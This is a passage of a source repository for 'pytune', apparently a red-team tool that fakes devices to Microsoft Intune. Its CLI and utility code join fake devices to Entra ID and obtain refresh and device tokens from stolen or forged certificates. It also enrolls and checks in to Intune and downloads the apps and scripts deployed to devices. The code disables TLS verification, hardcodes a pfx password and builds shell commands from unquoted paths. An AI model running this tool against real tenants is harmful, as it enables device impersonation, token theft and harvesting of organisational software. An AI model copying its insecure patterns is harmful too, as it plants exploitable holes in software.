569 | url=f'{sidecar_url}/SideCarGatewaySessions(\'{sessionid}\')?api-version=1.5', 570 | cert=(self.certpath, self.keypath), 571 | data=json.dumps(data), 572 | headers=headers, 573 | ) 574 | response_payload = response.json()["ResponsePayload"] 575 | return json.loads(response_payload) 576 | -------------------------------------------------------------------------------- /pytune.py: -------------------------------------------------------------------------------- 1 | import jwt 2 | import getpass 3 | import argparse 4 | from colr import color 5 | from device.device import Device 6 | from device.android import Android 7 | from device.windows import Windows 8 | from device.linux import Linux 9 | from utils.utils import deviceauth, prtauth 10 | from utils.logger import Logger 11 | 12 | version = '1.1' 13 | banner = r''' 14 | ______ __ __ ______ __ __ __ __ ______ 15 | /\ == \ /\ \_\ \ /\__ _\ /\ \/\ \ /\ "-.\ \ /\ ___\ 16 | \ \ _-/ \ \____ \ \/_/\ \/ \ \ \_\ \ \ \ \-. \ \ \ __\ 17 | \ \_\ \/\_____\ \ \_\ \ \_____\ \ \_\\"\_\ \ \_____\ 18 | \/_/ \/_____/ \/_/ \/_____/ \/_/ \/_/ \/_____/ 19 | 20 | ''' + \ 21 | f' Faking a device to Microsft Intune (version:{version})' 22 | 23 | class Pytune: 24 | def __init__(self, logger): 25 | self.logger = logger 26 | return 27 | 28 | def get_password(self, password): 29 | if password is None: 30 | password = getpass.getpass("Enter your password: ") 31 | return password 32 | 33 | def new_device(self, os, device_name, username, password, refresh_token, certpfx, proxy): 34 | prt = None 35 | session_key = None 36 | tenant = None 37 | deviceid = None 38 | uid = None 39 | 40 | if certpfx: 41 | if refresh_token is None: 42 | password = self.get_password(password) 43 | prt, session_key = deviceauth(username, password, refresh_token, certpfx, proxy) 44 | access_token, refresh_token = prtauth(prt, session_key, '29d9ed98-a469-4536-ade2-f981bc1d605e', 'https://enrollment.manage.microsoft.com/', 'ms-appx-web://Microsoft.AAD.BrokerPlugin/DRS', proxy) 45 | claims = jwt.decode(access_token, options={"verify_signature":False}, algorithms=['RS256']) 46 | tenant = claims['upn'].split('@')[1] 47 | deviceid = claims['deviceid'] 48 | uid = claims['oid'] 49 | 50 | if os == 'Android': 51 | device = Android(self.logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy) 52 | elif os == 'Windows': 53 | device = Windows(self.logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy) 54 | elif os == 'Linux': 55 | device = Linux(self.logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy) 56 | return device 57 | 58 | def entra_join(self, username, password, access_token, device_name, os, deviceticket, proxy): 59 | device = self.new_device(os, device_name, None, None, None, None, proxy) 60 | if access_token is None: 61 | password = self.get_password(password) 62 | 63 | device.entra_join(username, password, access_token, deviceticket) 64 | return 65 | 66 | def entra_delete(self, certpfx, proxy): 67 | device = Device(self.logger, None, None, None, None, None, None, None, proxy) 68 | device.entra_delete(certpfx) 69 | return 70 | 71 | def enroll_intune(self, os, device_name, username, password, refresh_token, certpfx, proxy): 72 | device = self.new_device(os, device_name, username, password, refresh_token, certpfx, proxy) 73 | device.enroll_intune() 74 | 75 | def checkin(self, os, device_name, username, password, refresh_token, certpfx, mdmpfx, hwhash, proxy): 76 | device = self.new_device(os, device_name, username, password, refresh_token, certpfx, proxy) 77 | device.hwhash = hwhash 78 | device.checkin(mdmpfx) 79 | return 80 | 81 | def retire_intune(self, os, username, password, refresh_token, certpfx, proxy): 82 | device = self.new_device(os, None, username, password, refresh_token, certpfx, proxy) 83 | device.retire_intune() 84 | return 85 | 86 | def check_compliant(self, os, username, password, refresh_token, certpfx, proxy): 87 | device = self.new_device(os, None, username, password, refresh_token, certpfx, proxy) 88 | device.check_compliant() 89 | return 90 | 91 | def download_apps(self, device_name, mdmpfx, proxy): 92 | device = self.new_device('Windows', device_name, None, None, None, None, proxy) 93 | device.download_apps(mdmpfx) 94 | 95 | def main(): 96 | description = f"{banner}" 97 | parser = argparse.ArgumentParser(add_help=True, description=color(description, fore='deepskyblue'), formatter_class=argparse.RawDescriptionHelpFormatter) 98 | parser.add_argument('-x', '--proxy', action='store', help='proxy to be used during authentication (format: http://proxyip:port)') 99 | subparsers = parser.add_subparsers(dest='command', description='pytune commands') 100 | 101 | entra_join_parser = subparsers.add_parser('entra_join', help='join device to Entra ID') 102 | entra_join_parser.add_argument('-u', '--username', action='store', help='username') 103 | entra_join_parser.add_argument('-p', '--password', action='store', help='password') 104 | entra_join_parser.add_argument('-a', '--access_token', action='store', help='access token for device registration service') 105 | entra_join_parser.add_argument('-d', '--device_name', required=True, action='store', help='device name') 106 | entra_join_parser.add_argument('-o', '--os', required=True, action='store', help='os') 107 | entra_join_parser.add_argument('-D', '--deviceticket', required=False, action='store', help='device ticket') 108 | 109 | entra_delete_parser = subparsers.add_parser('entra_delete', help='delete device from Entra ID') 110 | entra_delete_parser.add_argument('-c', '--certpfx', required=True, action='store', help='device cert pfx path') 111 | 112 | enroll_intune_parser = subparsers.add_parser('enroll_intune', help='enroll device to Intune') 113 | enroll_intune_parser.add_argument('-u', '--username', action='store', help='username') 114 | enroll_intune_parser.add_argument('-p', '--password', action='store', help='password') 115 | enroll_intune_parser.add_argument('-r', '--refresh_token', action='store', help='refresh token for device registration service') 116 | enroll_intune_parser.add_argument('-c', '--certpfx', required=True, action='store', help='device cert pfx path') 117 | enroll_intune_parser.add_argument('-d', '--device_name', required=True, action='store', help='device name') 118 | enroll_intune_parser.add_argument('-o', '--os', required=True, action='store', help='os') 119 | 120 | checkin_parser = subparsers.add_parser('checkin', help='checkin to Intune') 121 | checkin_parser.add_argument('-u', '--username', action='store', help='username') 122 | checkin_parser.add_argument('-p', '--password', action='store', help='password') 123 | checkin_parser.add_argument('-r', '--refresh_token', action='store', help='refresh token for device registration service') 124 | checkin_parser.add_argument('-c', '--certpfx', required=True, action='store', help='device cert pfx path') 125 | checkin_parser.add_argument('-m', '--mdmpfx', required=True, action='store', help='mdm pfx path') 126 | checkin_parser.add_argument('-d', '--device_name', required=True, action='store', help='device name') 127 | checkin_parser.add_argument('-o', '--os', required=True, action='store', help='os') 128 | checkin_parser.add_argument('-H', '--hwhash', required=False, action='store', help='Autopilot hardware hash') 129 | 130 | retire_intune_parser = subparsers.add_parser('retire_intune', help='retire device from Intune') 131 | retire_intune_parser.add_argument('-u', '--username', action='store', help='username') 132 | retire_intune_parser.add_argument('-p', '--password', action='store', help='password') 133 | retire_intune_parser.add_argument('-r', '--refresh_token', action='store', help='refresh token for device registration service') 134 | retire_intune_parser.add_argument('-c', '--certpfx', required=True, action='store', help='device cert pfx path') 135 | retire_intune_parser.add_argument('-o', '--os', required=True, action='store', help='os') 136 | 137 | check_compliant_parser = subparsers.add_parser('check_compliant', help='check compliant status') 138 | check_compliant_parser.add_argument('-u', '--username', action='store', help='username') 139 | check_compliant_parser.add_argument('-p', '--password', action='store', help='password') 140 | check_compliant_parser.add_argument('-r', '--refresh_token', action='store', help='refresh token for device registration service') 141 | check_compliant_parser.add_argument('-c', '--certpfx', required=True, action='store', help='device cert pfx path') 142 | check_compliant_parser.add_argument('-o', '--os', required=True, action='store', help='os') 143 | 144 | download_apps_intune_parser = subparsers.add_parser('download_apps', help='download available win32apps and scripts (only Windows supported since I\'m lazy)') 145 | download_apps_intune_parser.add_argument('-m', '--mdmpfx', required=True, action='store', help='mdm pfx path') 146 | download_apps_intune_parser.add_argument('-d', '--device_name', required=True, action='store', help='device name') 147 | 148 | args = parser.parse_args() 149 | proxy=None 150 | if args.proxy: 151 | proxy={ 152 | 'https':args.proxy, 153 | 'http':args.proxy 154 | } 155 | 156 | logger = Logger() 157 | pytune = Pytune(logger) 158 | 159 | if args.command == 'entra_join': 160 | pytune.entra_join(args.username, args.password, args.access_token, args.device_name, args.os, args.deviceticket, proxy) 161 | if args.command == 'entra_delete': 162 | pytune.entra_delete(args.certpfx, proxy) 163 | if args.command == 'enroll_intune': 164 | pytune.enroll_intune(args.os, args.device_name, args.username, args.password, args.refresh_token, args.certpfx, proxy) 165 | if args.command == 'checkin': 166 | pytune.checkin(args.os, args.device_name, args.username, args.password, args.refresh_token, args.certpfx, args.mdmpfx, args.hwhash, proxy) 167 | if args.command == 'retire_intune': 168 | pytune.retire_intune(args.os, args.username, args.password, args.refresh_token, args.certpfx, proxy) 169 | if args.command == 'check_compliant': 170 | pytune.check_compliant(args.os, args.username, args.password, args.refresh_token, args.certpfx, proxy) 171 | if args.command == 'download_apps': 172 | pytune.download_apps(args.device_name, args.mdmpfx, proxy) 173 | 174 | if __name__ == "__main__": 175 | main() 176 | 177 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colr 2 | xmltodict 3 | rich 4 | roadlib -------------------------------------------------------------------------------- /utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secureworks/pytune/579a4da22f1a33b62d79c93a1bc5862190a2d28b/utils/__init__.py -------------------------------------------------------------------------------- /utils/logger.py: -------------------------------------------------------------------------------- 1 | from rich.console import Console 2 | console = Console() 3 | 4 | class Logger(object): 5 | def __init__(self, verbosity=0, quiet=False): 6 | self.verbosity = verbosity 7 | self.quiet = quiet 8 | if verbosity == 3: 9 | exit(0) 10 | elif verbosity == 4: 11 | exit(0) 12 | elif verbosity == 5: 13 | exit(0) 14 | 15 | elif verbosity == 6: 16 | exit(0) 17 | elif verbosity > 6: 18 | exit(0) 19 | 20 | def alert(self, message): 21 | if not self.quiet: 22 | console.print("{}[!]{} {}".format("[yellow]", "[/yellow]", message), highlight=False) 23 | 24 | def debug(self, message): 25 | if self.verbosity == 2: 26 | console.print("{}[DEBUG]{} {}".format("[yellow3]", "[/yellow3]", message), highlight=False) 27 | 28 | def verbose(self, message): 29 | if self.verbosity >= 1: 30 | console.print("{}[VERBOSE]{} {}".format("[blue]", "[/blue]", message), highlight=False) 31 | 32 | def info(self, message): 33 | if not self.quiet: 34 | console.print("{}[*]{} {}".format("[bold blue]", "[/bold blue]", message), highlight=False) 35 | 36 | def success(self, message): 37 | if not self.quiet: 38 | console.print("{}[+]{} {}".format("[bold green]", "[/bold green]", message), highlight=False) 39 | 40 | def warning(self, message): 41 | if not self.quiet: 42 | console.print("{}[-]{} {}".format("[bold orange3]", "[/bold orange3]", message), highlight=False) 43 | 44 | def error(self, message): 45 | if not self.quiet: 46 | console.print("{}[-]{} {}".format("[bold red]", "[/bold red]", message), highlight=False) 47 | -------------------------------------------------------------------------------- /utils/utils.py: -------------------------------------------------------------------------------- 1 | import os 2 | import jwt 3 | import re 4 | import struct 5 | import base64 6 | import subprocess 7 | import requests 8 | import binascii 9 | from roadtools.roadlib.deviceauth import DeviceAuthentication 10 | from roadtools.roadlib.auth import Authentication 11 | from cryptography.hazmat.primitives import serialization 12 | from cryptography.hazmat.backends import default_backend 13 | from cryptography.x509 import load_pem_x509_certificate 14 | from cryptography import x509 15 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 16 | 17 | def get_nonce(): 18 | response = requests.post( 19 | url=f"https://login.microsoftonline.com/645064ee-9b6e-43db-9d46-fe81a65cfdea/oauth2/token", 20 | data='grant_type=srv_challenge' 21 | ) 22 | return response.json()['Nonce'] 23 | 24 | def get_tenantid(domain): 25 | res = requests.get(f'https://login.microsoftonline.com/{domain}/.well-known/openid-configuration') 26 | token_endpoint = res.json()['token_endpoint'] 27 | return token_endpoint.split('/')[3] 28 | 29 | def get_devicetoken(tenant, certpfx): 30 | nonce = get_nonce() 31 | tid = get_tenantid(tenant) 32 | 33 | certpath = f'device_cert.pem' 34 | keypath = f'device_key.pem' 35 | extract_pfx(certpfx, certpath, keypath) 36 | 37 | with open(certpath, "rb") as certf: 38 | certificate = x509.load_pem_x509_certificate(certf.read()) 39 | with open(keypath, "rb") as keyf: 40 | keydata = keyf.read() 41 | 42 | os.remove(certpath) 43 | os.remove(keypath) 44 | 45 | certder = certificate.public_bytes(serialization.Encoding.DER) 46 | certbytes = base64.b64encode(certder) 47 | 48 | headers = { 49 | "alg": "RS256", 50 | "typ": "JWT", 51 | "x5c": certbytes.decode('utf-8'), 52 | } 53 | payload = { 54 | "resource": "https://enrollment.manage.microsoft.com/", 55 | "client_id": "29d9ed98-a469-4536-ade2-f981bc1d605e", 56 | "request_nonce": nonce, 57 | "win_ver": "10.0.19041.1806", 58 | "grant_type": "device_token", 59 | "scope":"sid", 60 | "redirect_uri": "ms-aadj-redir://auth/mdm", 61 | "iss": "aad:brokerplugin" 62 | } 63 | 64 | reqjwt = jwt.encode(payload, algorithm='RS256', key=keydata, headers=headers) 65 | 66 | res = requests.post( 67 | url=f'https://login.microsoftonline.com/{tid}/oauth2/token', 68 | data=f'windows_api_version=2.2&grant_type=urn%3aietf%3aparams%3aoauth%3agrant-type%3ajwt-bearer&request={reqjwt}' 69 | ) 70 | return res.json()['access_token'] 71 | 72 | def gettokens(username, password, clientid, resource): 73 | auth = Authentication(username, password, None, clientid) 74 | auth.resource_uri = resource 75 | return auth.authenticate_username_password() 76 | 77 | def deviceauth(username, password, refresh_token, certpfx, proxy): 78 | device_auth = DeviceAuthentication() 79 | device_auth.proxies = proxy 80 | device_auth.verify = False 81 | auth = Authentication() 82 | auth.proxies = proxy 83 | auth.verify = False 84 | device_auth.auth = auth 85 | 86 | device_auth.loadcert(None, None, certpfx, 'password') 87 | 88 | if password: 89 | response = device_auth.get_prt_with_password(username, password) 90 | else: 91 | response = device_auth.get_prt_with_refresh_token(refresh_token) 92 | 93 | return response['refresh_token'], response['session_key'] 94 | 95 | def prtauth(prt, session_key, client_id, resource, redirect_uri, proxy): 96 | device_auth = DeviceAuthentication() 97 | device_auth.proxies = proxy 98 | device_auth.verify = False 99 | auth = Authentication() 100 | auth.proxies = proxy 101 | auth.verify = False 102 | device_auth.auth = auth 103 | 104 | device_auth.prt = prt 105 | device_auth.session_key = binascii.unhexlify(session_key) 106 | res = device_auth.aad_brokerplugin_prt_auth( 107 | client_id=client_id, 108 | resource=resource, 109 | redirect_uri=redirect_uri, 110 | ) 111 | 112 | if 'error' in res.keys(): 113 | print(res['error_description']) 114 | return None 115 | 116 | return res['access_token'], res['refresh_token'] 117 | 118 | def renew_token(refresh_token, client_id, scope, proxy): 119 | data = { 120 | 'client_id':client_id, 121 | 'grant_type':'refresh_token', 122 | 'refresh_token':refresh_token, 123 | 'scope':scope 124 | } 125 | 126 | response = requests.post( 127 | "https://login.microsoftonline.com/common/oAuth2/v2.0/token", 128 | data=data, 129 | proxies=proxy, 130 | verify=False 131 | ) 132 | json = response.json() 133 | return json['access_token'] 134 | 135 | def token_renewal_for_enrollment(url, access_token, proxy): 136 | headers = {'Authorization': 'Bearer {}'.format(access_token)} 137 | 138 | response = requests.get( 139 | url=f"{url}?api-version=1.0", 140 | headers=headers, 141 | proxies=proxy, 142 | verify=False 143 | ) 144 | 145 | return response.json()['Result']['Token'] 146 | 147 | def create_pfx(certpath, keypath, pfxpath): 148 | with open(certpath, 'rb') as public_key_file: 149 | cert_bytes = public_key_file.read() 150 | 151 | with open(keypath, 'rb') as private_key_file: 152 | key_bytes = private_key_file.read() 153 | 154 | certificate = load_pem_x509_certificate(cert_bytes, default_backend()) 155 | private_key = serialization.load_pem_private_key(key_bytes, None, default_backend()) 156 | 157 | pfx = serialization.pkcs12.serialize_key_and_certificates( 158 | pfxpath.encode('utf-8'), 159 | private_key, 160 | certificate, 161 | None, 162 | serialization.BestAvailableEncryption(b'password') 163 | ) 164 | 165 | with open(pfxpath, 'wb') as outfile: 166 | outfile.write(pfx) 167 | 168 | return 169 | 170 | def extract_pfx(pfxpath, certpath, keypath): 171 | subprocess.run(f'openssl pkcs12 -in {pfxpath} -nodes -password pass:password -out {certpath} -clcerts', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) 172 | subprocess.run(f'openssl pkcs12 -in {pfxpath} -nodes -password pass:password -out {keypath} -nocerts -nodes', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) 173 | return 174 | 175 | def get_str_and_next(blob, start): 176 | str_size = (struct.unpack('